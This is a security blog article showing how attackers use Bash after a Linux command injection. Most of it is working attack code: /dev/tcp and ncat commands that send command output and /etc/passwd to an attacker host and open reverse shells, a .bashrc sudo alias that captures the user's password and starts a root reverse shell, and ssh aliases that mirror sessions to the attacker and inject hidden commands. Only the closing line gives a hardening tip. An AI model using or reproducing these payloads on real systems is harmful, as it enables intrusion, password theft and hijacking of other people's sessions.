Bash - How to use in Linux Command Injection

Bash

How to use in Linux Command Injection

Ahmet Hrnjadovic
by Ahmet Hrnjadovic
time to read: 10 minutes

Keypoints

This is how attackers use Bash to their advantage

  • Bash features compact ways to send data over the network
  • Complex dynamic payloads can be prepared beforehand and used once a remote shell is available
  • Bash features powerful ways to manipulate data streams
  • Protect your ~/.bashrc

The Bash presents a powerful interface to interact with the Linux operating system and the wealth of programs that come with it. This article presents a few examples showing off some of Bashs (and other Linux utilities) capabilities which may provide some inspiration. If an OS command injection vulnerability on a Linux machine is present, a well crafted Bash command may retrieve the keys to the kingdom. This is the premise for the examples presented.

Sending Data over the Network

If blind injection is possible, sending data back on a seperate channel may be an option:

# executed on victims machine
bash -c "id &>/dev/tcp/*yourip*/*yourport*"

Here we run the id command and redirect its output to a special file which opens a tcp connection to the specified host and port. Before running that command, ready a listener on your machine. Netcat (ncat, the more feature-rich implementation from the Nmap project) is a great option:

# executed on attackers machine
ncat -vvlp *port*

With added $cr1pTK1ddi3 encryption:

# executed on victims machine
bash -c "id | base64 >/dev/tcp/*yourip*/*port*"

With real encryption (assuming Netcat is installed on the target system):

# executed on victims machine
bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"id\""

Staging Payloads

If your situation requires more than a simple fire and forget command, you can interact with a Bash instance on the target machine:

# executed on victims machine
bash -c "ncat *yourip* *yourport* --ssl --sh-exec \"bash\""

With an initial remote shell on the target system, bigger payloads which may be impractical to inject directly can be staged. Netcat is a very handy tool but it might not be installed on the target system. Without Netcat, something like this should do the trick:

# executed on victims machine
bash -c "exec 101<>/dev/tcp/*yourip*/*port*; bash <&101 >&101 2>&1 &"

exec *file-descriptor*<>*file* opens a file for reading and writing. Performing this operation on the special file as shown above, opens a socket we can henceforth reference by that file descriptor.

Then an instance of bash is started in the background which reads its input from the socket and writes its output back into the socket. Netcat on our outgoing system allows us to interact with the bash instance:

# executed on attackers machine
root@kali:~# ncat -vvlp 80
Ncat: Version 7.70 ( https://nmap.org/ncat/ )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:33818.
uname -s
Linux

whoami
testuser

As demonstrated earlier, Netcat has an option to execute a shell command after establishing a connection. This gives us the ability to handle communication with the remote shell automatically once a connection is established.

A response script may look like this:

#!/bin/bash

# script is executed on the attackers machine

echo "uname -s"
read -r line
echo "$line" >uname.out

echo "whoami"
read -r line
echo "$line" >whoami.out

In this context, echoing a string sends it over the established connection to our remote Bash instance. There, the string is read and evaluated by the Bash. After each command, the read command gets the resulting output which is then written to a file. Netcat uses the script as follows:

 # executed on attackers machine
ncat --vvlp *listening-port* --sh-exec "./script.sh"

A more advanced and robust version of the above script may look like this:

#!/bin/bash

run() {
    # run() echoes the command specified for the remote shell to execute,
    # then it echoes a second command which makes the remote shell return
    # a delimiter. The second command is only executed after the first has
    # finished, allowing us to associate all output up to the delimiter with
    # the first command.
    #
    # takes:
    #   $1  command to execute.
    #   $2  file to output to, defaults to default.log if omitted.
    cmd="$1"
    outfile="$2"

    # prefix commands in log for readability
    echo -n ">>> " >>"${outfile:=default.log}"
    printf "%s\n" "$cmd" | tee -a "$outfile"
    echo "echo -e \"\ncustomdelimiter101\""
    while read -rs line
    do
        if ((${#line} > 0))
        then
            if [[ "$line" != "customdelimiter101" ]]
            then
                printf "%s" "$line" >>"$outfile"
                echo >>"$outfile"
            else
                break
            fi
        else
            echo >>"$outfile"
        fi
    done
}

run whoami
run "uname -s"
run "cat /etc/passwd"
echo "exit"

If a users ~/.bashrc is writable, we can attempt a cheap privilege escalation (works if user has sudo rights).

# executed on victims machine
intercept_sudo() { 
    E=echo
    S=sudo
    K="/dev/tcp/*yourip*/*yourport*"
    H="/dev/null"
    F=()
    for((C=0;C<3;C++)); do
        read -rsp"[$S] password for `id -nu`: " P
        $E;$S -S true <<<"$P" &>$H
        if (($?==0)); then
            $E "${P@Q}">$K;unalias $S
            $E "$1: an unknown error occured"
            break
        fi
        sleep 0.5
        if ((C<2)); then
            $E Sorry, try again.
        else
            $E "$S: 3 incorrect password attempts"
        fi
    done
    ($S -S su -c "exec 134<>$K;bash <&134 >&134 2>&1 &" root &>$H <<<"$P")
}
alias sudo="intercept_sudo"

This creates an alias for sudo to a function that is defined beforehand. The executed function prompts the user for its password just like normal sudo. If the password is correct, it sends the password to the attacker machine and starts a reverse root shell in the background. The users command is not executed because of the numerous edge cases to consider. Add the --keep-open option to your Netcat listener if you attempt to try this code.

A really cool application of bashrc poisoning is local mitming of a users Bash or ssh session.

# executed on victims machine
ssh_mitm() {
    #connection to the monitoring Netcat
    exec 43<>/dev/tcp/*yourip*/*yourport*
    rm /tmp/tonw 2>/dev/null
    mkfifo /tmp/tonw 2>/dev/null
    cat </tmp/tonw >&43 &
    bash -i -c "ssh $*" | tee -a /tmp/tonw
}
alias ssh=ssh_mitm

This little piece of code in a users .bashrc allows for monitoring a running ssh session from a remote machine. It looks pretty cool (and scary) so I recommend trying it out, remember to ready your Netcat listener beforehand. The beauty of this approach is that there is no interference on the network level. Just right before data is presented to the user, a copy is made and sent over the network. No Errors, no Warnings. This was successfully tested with both public key and challenge-response authentication with a PAM (in our case a YubiKey).

If we want to be more than just a silent observer, things get a little complicated. The following version adds another channel through which an attacker can inject commands into the running ssh session.

# executed on victims machine
filter() {
    #connection to the injecting Netcat
    exec 44<>/dev/tcp/*yourip*/*secondport*
    while :; do
        cat <&0 &
        job=$!
        tput cnorm
        read -r cmd <&44
        exec 2>/dev/null
        kill $job
        echo -ne "\r"
        read -rs hide
        cat <<<"$cmd" >>/tmp/tossh
        exec 2>&1
    done
}

ssh_mitm() {
    #connection to the monitoring Netcat
    exec 43<>/dev/tcp/*yourip*/*yourport*
    rm /tmp/tonw /tmp/tossh 2>/dev/null
    mkfifo /tmp/tonw 2>/dev/null
    mkfifo /tmp/tossh 2>/dev/null
    cat </tmp/tonw >&43 &
    bash -i -c "{ { cat /tmp/tossh & }; cat <&0; } | ssh -tt $*" | tee -a /tmp/tonw | filter
}
alias ssh=ssh_mitm

The code we originally used remains the same. Here we add an expression which combines ssh’s stdin with the input stream carrying our injected commands. A new filter stage is also added to the end of the pipeline to hide our injected commands from showing on the users screen. The filter function is also the party initially receiving our injected commands. This is to ensure it is prepared to filter the output. After a command is received, the filter function writes it into a FIFO which is read and fed to ssh. Because the current code is still rough around the edges and just filters out a single line (the line where our command magically appears on the users screen), the command we inject must not generate any output.

To prepare for execution of the code above, the attacker sets up 2 additional instances of Netcat: One to inject commands (the injecting instance) and another one to receive output of injected commands (the retrieving instance). We specify a redirection with injected commands so they write output to the retrieving Netcat instance and not to the terminal. The following could be pasted into the injecting netcat instance.

# executed on victims machine
bash -c "cat /etc/passwd >/dev/tcp/*yourip*/*thirdport*"

Injecting the following starts a new remote shell in the background on the machine that was ssh’ed into, securing an independent channel.

# executed on victims machine
bash -c "(exec 99<>/dev/tcp/*yourip*/*thirdport*; bash <&99 >&99 2>&1 &)"

And just like that, assuming everything goes smoothly, we can, without administrative privileges, piggyback on an ssh session we do not own to get a shell on a new machine. With Bash. Yes, this is indeed very cool.

A lot can go wrong with the code-example above. Stability and the correct handling of edge-cases were traded off for the small payload size.

One way to keep the size of this payload down is to offload the filtering to the attacker machine:

# executed on victims machine
ssh_mitm() {

    bash -i -c "fltr() { exec 40<>/dev/tcp/*yourip*/*yourport*; { cat <&0 >&40 & }; cat <&40; };\
                fltr2() { exec 41<>/dev/tcp/*yourip*/*secondport*; { cat <&0 >&41 & }; cat <&41; };\
                fltr | ssh -tt $* | fltr2"
}

alias ssh=ssh_mitm

This piece of code forwards all user input to the attacker machine where it can be modified if needed.

The modified user input is then fed back to SSH. The output of SSH is too sent to the attacker machine for possible filtering or modification. Finally, the filtered SSH output is retrieved and fed to the terminal.

By offloading the filtering process to the attacker machine, we gain full control over over the data stream making complex filtering, modification and command injection possible without affecting the payload size. Using this approach, the latency did not increase to a suspicious amount with a stable connection to the host.

Conclusion

Bash may not be the fastest, prettiest or most stable kid on the block, but it works great for small, quick and dynamic payloads. The examples show how bashs powerful capabilities in manipulating data streams may also pose a security risk. And you may want to chown root:usergroup ~/.bashrc; chmod 640 ~/.bashrc

About the Author

Ahmet Hrnjadovic

Ahmet Hrnjadovic is working in cybersecurity since 2017. There he is focused in topics like Linux, secure development and web application security testing. (ORCID 0000-0003-1320-8655)

You want more than a simple security test with Nessus und Nmap?

Our experts will get in contact with you!

×
Dynamic Analysis of Android Apps

Dynamic Analysis of Android Apps

Ralph Meier

Security Testing

Security Testing

Tomaso Vasella

Active Directory certificate services

Active Directory certificate services

Eric Maurer

Foreign Entra Workload Identities

Foreign Entra Workload Identities

Marius Elmiger

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here